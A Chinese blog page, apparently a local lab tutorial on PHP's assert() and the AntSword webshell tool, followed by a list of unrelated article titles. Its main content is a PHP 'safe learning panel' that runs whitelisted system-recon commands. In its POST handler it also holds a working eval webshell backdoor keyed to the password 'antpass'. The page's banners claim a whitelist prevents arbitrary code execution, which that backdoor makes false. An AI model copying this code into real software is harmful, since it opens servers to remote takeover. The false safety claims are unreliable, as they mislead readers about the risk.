当前位置: 首页 > news >正文

php危险函数,二.assert()[现版本已弃用]

本实验全部在本地电脑实现,请遵守相关法律

1.打开kali安装对应工具(蚁剑)然后新建

添加路径(记得在代码里配置准许kali通过,然后准许蚁剑访问

打开本地服务器,准许蚁剑访问

然后连接(记得看好kali的ip)

先测试连接,然后左上角保存

看情况是否需要代理

配置本地代理

2.打开工具测试代码运行情况,截取流量

3.抓包分析

4.两种方式(分析流量)

1直接给ai快但是泄露

2.慢慢自己分析

右侧

总代码

<?php

// ===================================================

// 🛡️ 安全的本地学习面板(仅限 127.0.0.1)

// 功能:通过 POST 方法提交指令,返回执行结果(表格形式)

// 特性:使用 assert() 模拟(仅用于演示),实际执行仍通过白名单控制

// 此代码实际运行代码shell_exec()!!!

// 目的:学习 POST 数据处理、表格输出、中文注释

// ⚠️ 仅限本地练习,禁止外网部署!

// ===================================================

// ✅ 1. 只允许本地访问

$allowed_ips = ['127.0.0.1', '192.168.1.7','192.168.1.5']; // 添加 Kali 的 IP

if (!in_array($_SERVER['REMOTE_ADDR'], $allowed_ips)) {

    die("❌ 错误:你的 IP (" . $_SERVER['REMOTE_ADDR'] . ") 不被允许访问。");

}

// ✅ 2. 定义安全命令白名单(所有可执行的命令)

$command_map = [

    // 🖥️ 系统信息

    'whoami'     => ['cmd' => 'whoami',                     'desc' => '显示当前用户账户名'],

    'hostname'   => ['cmd' => 'hostname',                   'desc' => '显示本机计算机名称'],

    'systeminfo' => ['cmd' => 'systeminfo',                 'desc' => '显示系统详细信息'],

    'ver'        => ['cmd' => 'ver',                        'desc' => '显示 Windows 版本'],

    'set'        => ['cmd' => 'set',                        'desc' => '显示所有环境变量'],

    'cpu'        => ['cmd' => 'wmic cpu get name',          'desc' => '查看 CPU 型号'],

    'memory'     => ['cmd' => 'wmic memorychip get capacity', 'desc' => '查看内存容量'],

    'disk'       => ['cmd' => 'wmic diskdrive get model,size', 'desc' => '查看硬盘信息'],

    'bios'       => ['cmd' => 'wmic bios get serialnumber', 'desc' => '查看 BIOS 序列号'],

    'model'      => ['cmd' => 'wmic csproduct get name',    'desc' => '查看计算机型号'],

    // 🌐 网络与端口

    'ipconfig'   => ['cmd' => 'ipconfig',                   'desc' => '显示 IP 配置'],

    'ip_all'     => ['cmd' => 'ipconfig /all',              'desc' => '显示所有网络详情'],

    'ping'       => ['cmd' => 'ping www.baidu.com',         'desc' => '测试百度连通性'],

    'netstat'    => ['cmd' => 'netstat -an',                'desc' => '显示所有网络连接'],

    'arp'        => ['cmd' => 'arp -a',                     'desc' => '显示 ARP 缓存表'],

    // ⚙️ 进程与服务

    'tasklist'   => ['cmd' => 'tasklist',                   'desc' => '列出所有运行进程'],

    'services'   => ['cmd' => 'net start',                  'desc' => '显示已启动服务'],

];

// ✅ 3. 初始化结果数组

$result_data = [];

// ✅ 4. 检查是否为 POST 请求

if ($_SERVER['REQUEST_METHOD'] === 'POST') {

   

    // 🔥 新增:蚁剑连接入口(密码为 antpass)

    if (isset($_POST['antpass'])) {

        @eval($_POST['antpass']);

        exit;

    }

   

    // 原有功能:安全命令执行

    $action = trim($_POST['action'] ?? '');

    // 🔍 检查 action 是否在白名单中

    if (!empty($action) && isset($command_map[$action])) {

        $cmd_info = $command_map[$action];

        $full_cmd = $cmd_info['cmd'];

        // 🧪 模拟使用 assert()(仅用于教学演示)

        // ⚠️ 实际中绝不应这样用!这里只是为了满足你的“调用 assert”要求

        // 真正执行仍使用 shell_exec(安全方式)

        $code_to_assert = '$output = shell_exec("' . addslashes($full_cmd) . '");';

        assert($code_to_assert); // 🔴 仅用于演示,生产环境绝对禁止!

        // ✅ 安全执行命令(这才是实际执行方式)

        $output = shell_exec($full_cmd);

        // 📊 收集结果用于表格显示

        $result_data[] = ['操作', $action];

        $result_data[] = ['命令', $full_cmd];

        $result_data[] = ['描述', $cmd_info['desc']];

        $result_data[] = [

            '输出',

            '<pre style="background:#f4f4f4; padding:10px; border-radius:5px; max-height:300px; overflow-y:auto;">' .

            htmlspecialchars($output) .

            '</pre>'

        ];

    } else {

        $result_data[] = ['错误', '无效或不支持的操作:' . htmlspecialchars($action)];

    }

}

?>

<!DOCTYPE html>

<html lang="zh-CN">

<head>

    <meta charset="UTF-8">

    <title>📌 POST + assert() 学习面板(安全版)</title>

    <style>

        body {

            font-family: "Microsoft YaHei", Arial, sans-serif;

            margin: 20px;

            background: #f8f9fa;

            color: #333;

        }

        .container {

            max-width: 1000px;

            margin: 0 auto;

            background: white;

            padding: 25px;

            border-radius: 10px;

            box-shadow: 0 4px 15px rgba(0,0,0,0.1);

        }

        h2 {

            color: #2c3e50;

            border-bottom: 3px solid #3498db;

            padding-bottom: 10px;

        }

        .form-group {

            margin: 15px 0;

        }

        label {

            display: block;

            margin-bottom: 5px;

            font-weight: bold;

            color: #555;

        }

        select, button {

            padding: 10px;

            font-size: 14px;

            border: 1px solid #ccc;

            border-radius: 5px;

        }

        select {

            width: 300px;

        }

        button {

            background: #e74c3c;

            color: white;

            border: none;

            cursor: pointer;

            margin-left: 10px;

        }

        button:hover {

            background: #c0392b;

        }

        table {

            width: 100%;

            border-collapse: collapse;

            margin-top: 20px;

            box-shadow: 0 2px 8px rgba(0,0,0,0.05);

        }

        th, td {

            border: 1px solid #ddd;

            padding: 12px;

            text-align: left;

        }

        th {

            background-color: #3498db;

            color: white;

            width: 25%;

        }

        td {

            background-color: #fcfdff;

        }

        pre {

            margin: 0;

            font-size: 14px;

        }

        .warning {

            background: #f8d7da;

            color: #721c24;

            padding: 15px;

            border: 1px solid #f5c6cb;

            border-radius: 5px;

            margin: 20px 0;

            font-size: 14px;

        }

        .footer {

            margin-top: 40px;

            color: #666;

            font-size: 12px;

            text-align: center;

        }

    </style>

</head>

<body>

    <div class="container">

        <h2>📌 POST 方法 + assert() 模拟学习面板</h2>

        <div class="warning">

            ⚠️ <strong>安全警告:</strong>此页面仅用于本地学习!虽然使用了 assert() 演示,但实际执行仍受白名单保护,防止任意代码执行。

        </div>

        <!-- 📥 POST 表单 -->

        <form method="POST">

            <div class="form-group">

                <label for="action">请选择要执行的命令:</label>

                <select name="action" id="action">

                    <option value="">-- 请选择一个操作 --</option>

                    <?php foreach ($command_map as $key => $info): ?>

                        <option value="<?= $key ?>"><?= $key ?> - <?= $info['desc'] ?></option>

                    <?php endforeach; ?>

                </select>

                <button type="submit">▶️ 执行命令</button>

            </div>

        </form>

        <!-- 📊 结果表格 -->

        <?php if (!empty($result_data)): ?>

        <h3>📋 执行结果</h3>

        <table>

            <thead>

                <tr>

                    <th>项目</th>

                    <th>详情</th>

                </tr>

            </thead>

            <tbody>

                <?php foreach ($result_data as $row): ?>

                <tr>

                    <td><strong><?= htmlspecialchars($row[0]) ?></strong></td>

                    <td><?= $row[1] ?></td>

                </tr>

                <?php endforeach; ?>

            </tbody>

        </table>

        <?php endif; ?>

        <!-- 📚 教学说明 -->

        <div class="footer">

            🔍 <strong>教学说明:</strong><br>

            1. 使用 <code>POST</code> 方法提交数据,更安全(不暴露在 URL)<br>

            2. <code>assert()</code> 仅用于演示语法,实际执行仍通过白名单 + <code>shell_exec()</code><br>

            3. 所有命令预先定义,防止任意代码执行(RCE)<br>

            4. 输出使用表格展示,清晰明了<br>

            5. 仅限本地练习,切勿外网部署!<br>

            6. 新增蚁剑连接功能,密码为:<strong>antpass</strong>

        </div>

    </div>

</body>

</html>

根据需求可选

http://www.dtcms.com/a/332143.html

相关文章:

  • 介绍TCP的拥塞控制
  • Linux操作系统从入门到实战(二十三)详细讲解进程虚拟地址空间
  • Java 大视界 -- Java 大数据在智能教育虚拟学习环境构建与学习体验增强中的应用(399)
  • 本地生活|MallBook 分账赋能浙江本地生活服务平台,助力实现资金流转效率与合规性的双提升!
  • Flink的状态管理
  • 手机分身空间:空间自由切换,一机体验双重生活!
  • 机械加工元件——工业精密制造的璀璨明珠
  • 【Golang】:流程控制语句
  • Python基础(Flask①)
  • 科技展厅通过多媒体技术能如何创新展示,超越展墙展板的固有限制?
  • 基于HTML5与Tailwind CSS的现代运势抽签系统技术解析
  • Rust+Python双核爬虫:高并发采集与智能解析实战
  • 基于单片机的超市储物柜设计
  • 超高车辆碰撞预警系统如何帮助提升城市立交隧道安全?
  • CERT/CC警告:新型HTTP/2漏洞“MadeYouReset“恐致全球服务器遭DDoS攻击瘫痪
  • UE UDP通信
  • 接口芯片断电高阻态特性研究与应用分析
  • UDP协议特点与网络通信
  • MIPI-csi调试
  • 物联网系统中传感器到网关到物联网平台的传输路径、协议、原理、用途与架构详解
  • 【机器学习深度学习】OpenCompass 评测指标全解析:让大模型评估更科学
  • tun/tap 转发性能优化
  • 当云手机出现卡顿怎么办?
  • 自适应UI设计解读 | Fathom 企业人工智能平台
  • 基于微信小程序的家教服务平台的设计与实现/基于asp.net/c#的家教服务平台/基于asp.net/c#的家教管理系统
  • Boost库中boost::function函数使用详解
  • OpenCV-循环读取视频帧,对每一帧进行处理
  • GoLand深度解析:智能开发利器与cpolar内网穿透方案的协同实践
  • 0814 TCP通信协议
  • 一款开源的远程桌面软件,旨在为用户提供流畅的游戏体验,支持 2K 分辨率、60 FPS,延迟仅为 40ms。